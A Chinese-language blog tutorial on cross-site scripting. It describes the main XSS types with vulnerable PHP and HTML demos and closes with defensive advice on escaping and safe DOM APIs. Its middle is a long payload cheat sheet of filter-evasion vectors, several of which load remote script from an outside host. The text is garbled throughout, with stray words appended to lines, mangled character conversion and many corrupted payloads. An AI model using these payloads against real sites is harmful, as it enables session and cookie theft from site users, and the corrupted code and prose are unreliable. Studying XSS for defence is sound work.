但願讀完本文你們完全理解XSS攻擊,若是讀完本文還不清楚,我請你吃飯慢慢告訴你~javascript
話很少說,咱們進入正題。php
跨站腳本(Cross-site scripting,簡稱爲:CSS, 但這會與層疊樣式表(Cascading Style Sheets,CSS)的縮寫混淆。所以,跨站腳本攻擊縮寫爲XSS)是一種網站應用程序的安全漏洞攻擊。css
XSS攻擊一般指的是經過利用網頁開發時留下的漏洞,經過巧妙的方法注入惡意指令代碼到網頁,使用戶加載並執行攻擊者惡意製造的網頁程序。這些惡意網頁程序一般是JavaScript,但實際上也能夠包括Java、 VBScript、 LiveScript、ActiveX、 Flash 或者甚至是普通的HTML。攻擊成功後,攻擊者可能獲得包括但不限於更高的權限(如執行一些操做)、私密網頁內容、會話和cookie等各類內容。html
最多見的幾種分類:反射型(非持久型)XSS、存儲型(持久型)XSS、DOM型XSS、通用型XSS、突變型XSS。前端
反射型XSS只是簡單的把用戶輸入的數據從服務器反射給用戶瀏覽器,要利用這個漏洞,攻擊者必須以某種方式誘導用戶訪問一個精心設計的URL(惡意連接),才能實施攻擊。java
舉例來講,當一個網站的代碼中包含相似下面的語句:android
<?php echo "<p>hello,$_GET['user']</p>"; ?>
若是未作防範XSS,用戶名設爲<script>alert("Tz")</script>
,則會執行預設好的JavaScript代碼。git
當用戶的輸入或者一些用戶可控參數未經處理地輸出到頁面上,就容易產生XSS漏洞。主要場景有如下幾種:web
將不可信數據插入到HTML標籤之間時;// 例如div, p, td;chrome
將不可信數據插入到HTML屬性裏時;// 例如:<div width=$INPUT></div>
將不可信數據插入到SCRIPT裏時;// 例如:<script>var message = 」 $INPUT 「;</script>
還有插入到Style屬性裏的狀況,一樣具備必定的危害性;// 例如<span style=」 property : $INPUT 」></span>
將不可信數據插入到HTML URL裏時,// 例如:<a href=」[http://www.abcd.com?param=](http://www.ccc.com/?param=) $INPUT 」></a>
使用富文本時,沒有使用XSS規則引擎進行編碼過濾。
對於以上的幾個場景,若服務端或者前端沒有作好防範措施,就會出現漏洞隱患。
反射型XSS一般出如今搜索等功能中,須要被攻擊者點擊對應的連接才能觸發,且受到XSS Auditor(chrome內置的XSS保護)、NoScript等防護手段的影響較大,因此它的危害性較存儲型要小。
存儲型(或 HTML 注入型/持久型)XSS 攻擊最常發生在由社區內容驅動的網站或 Web 郵件網站,不須要特製的連接來執行。黑客僅僅須要提交 XSS 漏洞利用代碼(反射型XSS一般只在url中)到一個網站上其餘用戶可能訪問的地方。這些地區多是博客評論,用戶評論,留言板,聊天室,HTML 電子郵件,wikis
,和其餘的許多地方。一旦用戶訪問受感染的頁,執行是自動的。
存儲型XSS漏洞的成因與反射型的根源相似,不一樣的是惡意代碼會被保存在服務器中,致使其它用戶(前端)和管理員(先後端)在訪問資源時執行了惡意代碼,用戶訪問服務器-跨站連接-返回跨站代碼。
經過修改頁面的DOM節點造成的XSS,稱之爲DOM Based XSS。
DOM型XSS是基於DOM文檔對象模型的。對於瀏覽器來講,DOM文檔就是一份XML文檔,當有了這個標準的技術以後,經過JavaScript就能夠輕鬆的訪問DOM。當確認客戶端代碼中有DOM型XSS漏洞時,誘使(釣魚)一名用戶訪問本身構造的URL,利用步驟和反射型很相似,可是惟一的區別就是,構造的URL參數不用發送到服務器端,能夠達到繞過WAF、躲避服務端的檢測效果。
<html> <head> <title>DOM Based XSS Demo</title> <script> function xsstest() { var str = document.getElementById("input").value; document.getElementById("output").innerHTML = "<img src='"+str+"'></img>"; } </script> </head> <body> <div id="output"></div> <input type="text" id="input" size=50 value="" /> <input type="button" value="submit" onclick="xsstest()" /> </body> </html>
在這段代碼中,submit按鈕的onclick事件調用了xsstest()函數。而在xsstest()中,修改了頁面的DOM節點,經過innerHTML把一段用戶數據看成HTML寫入到頁面中,形成了DOM Based XSS。
通用型XSS,也叫作UXSS或者Universal XSS,全稱Universal Cross-Site Scripting。
上面三種XSS攻擊的是由於客戶端或服務端的代碼開發不嚴謹等問題而存在漏洞的目標網站或者應用程序。這些攻擊的先決條件是訪問頁面存在漏洞,可是UXSS是一種利用瀏覽器或者瀏覽器擴展漏洞來製造產生XSS的條件並執行代碼的一種攻擊類型。
Web瀏覽器是正在使用的最流行的應用程序之一,當一個新漏洞被發現的時候,無論本身利用仍是說報告給官方,而這個過程當中都有一段不小的時間,這一過程當中漏洞均可能被利用於UXSS。
不只是瀏覽器自己的漏洞,如今主流瀏覽器都支持擴展程序的安裝,而衆多的瀏覽器擴展程序可能致使帶來更多的漏洞和安全問題。由於UXSS攻擊不須要網站頁面自己存在漏洞,同時可能訪問其餘安全無漏洞頁面,使得UXSS成爲XSS裏危險和最具破壞性的攻擊類型之一。
這是一個比較經典的例子。當使用擴展程序時致使錯誤,使得代碼能夠執行。這是一個在pdf閱讀器中的bug,容許攻擊者在客戶端執行腳本。構造惡意頁面,寫入惡意腳本,並利用擴展程序打開pdf時運行代碼。tefano Di Paola 和 Giorgio Fedon在一個在Mozilla Firefox瀏覽器Adobe Reader的插件中可利用的缺陷中第一個記錄和描述的UXSS,Adobe插件經過一系列參數容許從外部數據源取數據進行文檔表單的填充,若是沒有正確的執行,將容許跨站腳本攻擊。
案例詳見: Acrobat插件中的UXSS報告
一個在2011年Flash Player插件(當時的全部版本)中的缺陷使得攻擊者經過使用構造的.swf文件,能夠訪問Gmail設置和添加轉發地址。所以攻擊者能夠收到任意一個被攻破的Gmail賬號的全部郵件副本(發送的時候都會抄送份)。Adobe認可了該漏洞.
案例詳見: Flash Player UXSS 漏洞 – CVE-2011-2107報告
移動設備也不例外,並且能夠成爲XSS攻擊的目標。Chrome安卓版存在一個漏洞,容許攻擊者將惡意代碼注入到Chrome經過Intent對象加載的任意的web頁面。
案例詳見: Issue 144813: Security: UXSS via com.android.browser.application_id Intent extra
突變型XSS,也叫作mXSS或,全稱Mutation-based Cross-Site-Scripting。(mutation,突變,來自遺傳學的一個單詞,你們都知道的基因突變,gene mutation)
然而,若是用戶所提供的富文本內容經過javascript代碼進入innerHTML屬性後,一些意外的變化會使得這個認定再也不成立:瀏覽器的渲染引擎會將原本沒有任何危害的HTML代碼渲染成具備潛在危險的XSS攻擊代碼。
隨後,該段攻擊代碼,可能會被JS代碼中的其它一些流程輸出到DOM中或是其它方式被再次渲染,從而致使XSS的執行。 這種因爲HTML內容進入innerHTML後發生意外變化,而最終致使XSS的攻擊流程。
將拼接的內容置於innerHTML這種操做,在如今的WEB應用代碼中十分常見,常見的WEB應用中不少都使用了innerHTML屬性,這將會致使潛在的mXSS攻擊。從瀏覽器角度來說,mXSS對三大主流瀏覽器(IE,CHROME,FIREFOX)均有影響。
目前爲止已知的mXSS種類,接下來的部分將分別對這幾類進行討論與說明。
反引號打破屬性邊界致使的 mXSS;(該類型是最先被發現並利用的一類mXSS,於2007年被提出,隨後被有效的修復)
未知元素中的xmlns屬性所致使的mXSS;(一些瀏覽器不支持HTML5的標記,例如IE8,會將article,aside,menu等看成是未知的HTML標籤。)
CSS中反斜線轉義致使的mXSS;(在CSS中,容許用\來對字符進行轉義,例如:property: 'v\61 lue'
表示 property:'value'
,其中61是字母a的ascii碼(16進制)。\後也能夠接unicode,例如:\20AC 表示 € 。正常狀況下,這種轉義不會有問題。可是碰上innerHTML後,一些奇妙的事情就會發生。)
CSS中雙引號實體或轉義致使的mXSS;(接着上一部分,依然是CSS中所存在的問題,"
"
"
等雙引號的表示形式都可致使這類問題,)
CSS屬性名中的轉義所致使的mXSS;
非HTML文檔中的實體突變;
HTML文檔中的非HTML上下文的實體突變;
普通的XSS JavaScript注入,示例以下:
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
IMG標籤XSS使用JavaScript命令,示例以下:
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
IMG標籤無分號無引號,示例以下:
<IMG SRC=javascript:alert(‘XSS’)>
IMG標籤大小寫不敏感,示例以下:
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
HTML編碼(必須有分號),示例以下:
<IMG SRC=javascript:alert(「XSS」)>
修正缺陷IMG標籤,示例以下:
<IMG 「」"><SCRIPT>alert(「XSS」)</SCRIPT>」>
formCharCode標籤,示例以下:
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
UTF-8的Unicode編碼,示例以下:
<IMG SRC=jav..省略..S')>
7位的UTF-8的Unicode編碼是沒有分號的,示例以下:
<IMG SRC=jav..省略..S')>
十六進制編碼也是沒有分號,示例以下:
<IMG SRC=\'#\'" /span>
嵌入式標籤,將Javascript分開,示例以下:
<IMG SRC=\'#\'" ascript:alert(‘XSS’);」>
嵌入式編碼標籤,將Javascript分開,示例以下:
<IMG SRC=\'#\'" ascript:alert(‘XSS’);」>
嵌入式換行符,示例以下:
<IMG SRC=\'#\'" ascript:alert(‘XSS’);」>
嵌入式回車,示例以下:
<IMG SRC=\'#\'" ascript:alert(‘XSS’);」>
嵌入式多行注入JavaScript,這是XSS極端的例子,示例以下:
<IMG SRC=\'#\'" /span>
解決限制字符(要求同頁面),示例以下:
<script>z=z+ ’write(「‘</script> <script>z=z+ ’<script’</script> <script>z=z+ ’ src=ht’</script> <script>z=z+ ’tp://ww’</script> <script>z=z+ ’w.shell’</script> <script>z=z+ ’.net/1.’</script> <script>z=z+ ’js></sc’</script> <script>z=z+ ’ript>」)’</script> <script>eval_r(z)</script>
空字符,示例以下:
perl -e ‘print 「<IMG SRC=java\0script:alert(\」XSS\」)>」;’ > out
空字符2,空字符在國內基本沒效果.由於沒有地方能夠利用,示例以下:
perl -e ‘print 「<SCR\0IPT>alert(\」XSS\」)</SCR\0IPT>」;’ > out
Spaces和meta前的IMG標籤,示例以下:
<IMG SRC=\'#\'" javascript:alert(‘XSS’);」>
Non-alpha-non-digit XSS,示例以下:
<SCRIPT/XSS SRC=\'#\'" /span>http://3w.org/XSS/xss.js」></SCRIPT>
Non-alpha-non-digit XSS to 2,示例以下:
<BODY onload!#$%&()*~+ -_.,:;?@[/|\]^`=alert(「XSS」)>
Non-alpha-non-digit XSS to 3,示例以下:
<SCRIPT/SRC=\'#\'" /span>http://3w.org/XSS/xss.js」></SCRIPT>
雙開括號,示例以下:
<<SCRIPT>alert(「XSS」);//<</SCRIPT>
無結束腳本標記(僅火狐等瀏覽器),示例以下:
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
無結束腳本標記2,示例以下:
<SCRIPT SRC=//3w.org/XSS/xss.js>
半開的HTML/JavaScript XSS,示例以下:
<IMG SRC=\'#\'" /span>
雙開角括號,示例以下:
<iframe src=http://3w.org/XSS.html <
無單引號 雙引號 分號,示例以下:
<SCRIPT>a=/XSS/ alert(a.source)</SCRIPT>
換碼過濾的JavaScript,示例以下:
\」;alert(‘XSS’);//
結束Title標籤,示例以下:
</TITLE><SCRIPT>alert(「XSS」);</SCRIPT>
Input Image,示例以下:
<INPUT SRC=\'#\'" /span>
BODY Image,示例以下:
<BODY BACKGROUND=」javascript:alert(‘XSS’)」>
BODY標籤,示例以下:
<BODY(‘XSS’)>
IMG Dynsrc,示例以下:
<IMG DYNSRC=\'#\'" /span>
IMG Lowsrc,示例以下:
<IMG LOWSRC=\'#\'" /span>
BGSOUND,示例以下:
<BGSOUND SRC=\'#\'" /span>
STYLE sheet,示例以下:
<LINK REL=」stylesheet」 HREF=」javascript:alert(‘XSS’);」>
遠程樣式表,示例以下:
<LINK REL=」stylesheet」 HREF=」http://3w.org/xss.css」>
List-style-image(列表式),示例以下:
<STYLE>li {list-style-image: url(「javascript:alert(‘XSS’)」);}</STYLE><UL><LI>XSS
IMG VBscript,示例以下:
<IMG SRC=\'#\'" /STYLE><UL><LI>XSS
META連接url,示例以下:
<META HTTP-EQUIV=」refresh」 CONTENT=」0; URL=http://;URL=javascript:alert(‘XSS’);」>
Iframe,示例以下:
<IFRAME SRC=\'#\'" /IFRAME>
Frame,示例以下:
<FRAMESET><FRAME SRC=\'#\'" /FRAMESET>
Table,示例以下:
<TABLE BACKGROUND=」javascript:alert(‘XSS’)」>
TD,示例以下:
<TABLE><TD BACKGROUND=」javascript:alert(‘XSS’)」>
DIV background-image,示例以下:
<DIV STYLE=」background-image: url(javascript:alert(‘XSS’))」>
DIV background-image後加上額外字符(1-32&34&39&160&8192-8&13&12288&65279),示例以下:
<DIV STYLE=」background-image: url(javascript:alert(‘XSS’))」>
DIV expression,示例以下:
<DIV STYLE=」width: expression_r(alert(‘XSS’));」>
STYLE屬性分拆表達,示例以下:
<IMG STYLE=」xss:expression_r(alert(‘XSS’))」>
匿名STYLE(組成:開角號和一個字母開頭),示例以下:
<XSS STYLE=」xss:expression_r(alert(‘XSS’))」>
STYLE background-image,示例以下:
<STYLE>.XSS{background-image:url(「javascript:alert(‘XSS’)」);}</STYLE><A CLASS=XSS></A>
IMG STYLE方式,示例以下:
exppression(alert(「XSS」))’>
STYLE background,示例以下:
<STYLE><STYLE type=」text/css」>BODY{background:url(「javascript:alert(‘XSS’)」)}</STYLE>
BASE,示例以下:
<BASE HREF=」javascript:alert(‘XSS’);//」>
網上防範XSS攻擊的方法一搜就一大堆,可是不管方法有多少,始終是萬變不離其宗。
XSS 攻擊有兩大要素: 1. 攻擊者提交惡意代碼。 2. 瀏覽器執行惡意代碼。
DOM 型 XSS 攻擊,實際上就是網站前端 JavaScript 代碼自己不夠嚴謹,把不可信的數據看成代碼執行了。
在使用 .innerHTML、.outerHTML、document.write()
時要特別當心,不要把不可信的數據做爲 HTML 插到頁面上,而應儘可能使用 .textContent、.setAttribute()
等。
DOM 中的內聯事件監聽器,如 location、onclick、onerror、onload、onmouseover
等, 標籤的href
屬性,JavaScript 的eval()、setTimeout()、setInterval()
等,都能把字符串做爲代碼運行。若是不可信的數據拼接到字符串中傳遞給這些 API,很容易 產生安全隱患,請務必避免。
若是由前端過濾輸入,而後提交到後端的話。一旦攻擊者繞過前端過濾,直接構造請求,就能夠提交惡意代碼了。
那麼,換一個過濾時機:後端在寫入數據庫前,對輸入進行過濾,而後把「安全的」內容,返回給前端。這樣是否可行呢? 咱們舉一個例子,一個正常的用戶輸入了 5 < 7 這個內容,在寫入數據庫前,被轉義,變成了 5 $lt;
7。 問題是:在提交階段,咱們並不肯定內容要輸出到哪裏。
這裏的「並不肯定內容要輸出到哪裏」有兩層含義:
$lt;
7 )。$lt;
7 做爲 HTML 拼接頁面時,能夠正常顯示:5 < 7
因此輸入過濾非徹底可靠,咱們就要經過「防止瀏覽器執行惡意代碼」來防範 XSS,可採用下面的兩種方法
在前端渲染中,咱們會明確的告訴瀏覽器:下面要設置的內容是文本(.innerText),仍是屬性(.setAttribute),仍是樣式 (.style)等等。瀏覽器不會被輕易的被欺騙,執行預期外的代碼了。
Javascript:可使用textContent或者innerText的地方,儘可能不使用innerHTML;
query:可使用text()得地方,儘可能不使用html();
若是拼接 HTML 是必要的,就須要採用合適的轉義庫,對 HTML 模板各處插入點進行充分的轉義。
經常使用的模板引擎,如 doT.js、ejs、FreeMarker 等,對於 HTML 轉義一般只有一個規則,就是把 & < > " ' / 這幾個字符轉義掉,確 實能起到必定的 XSS 防禦做用,但並不完善:
這裏推薦一個前端防止XSS攻擊的插件: js-xss,Git 3.8K 的Star和60W的周下載量證實了其強大性.
防範 XSS 是不僅是服務端的任務,須要後端和前端共同參與的系統工程。雖然很難經過技術手段徹底避免XSS,但咱們原則上減小漏洞的產生。
若有疑問,可在下方留言,會第一時間進行回覆!
謝謝你願意花時間閱讀這篇文章,但願能夠對你有所幫助!
我曾踏足山巔,也曾跌落谷底,二者都讓我受益良多。我的網站:zhaohongcheng.com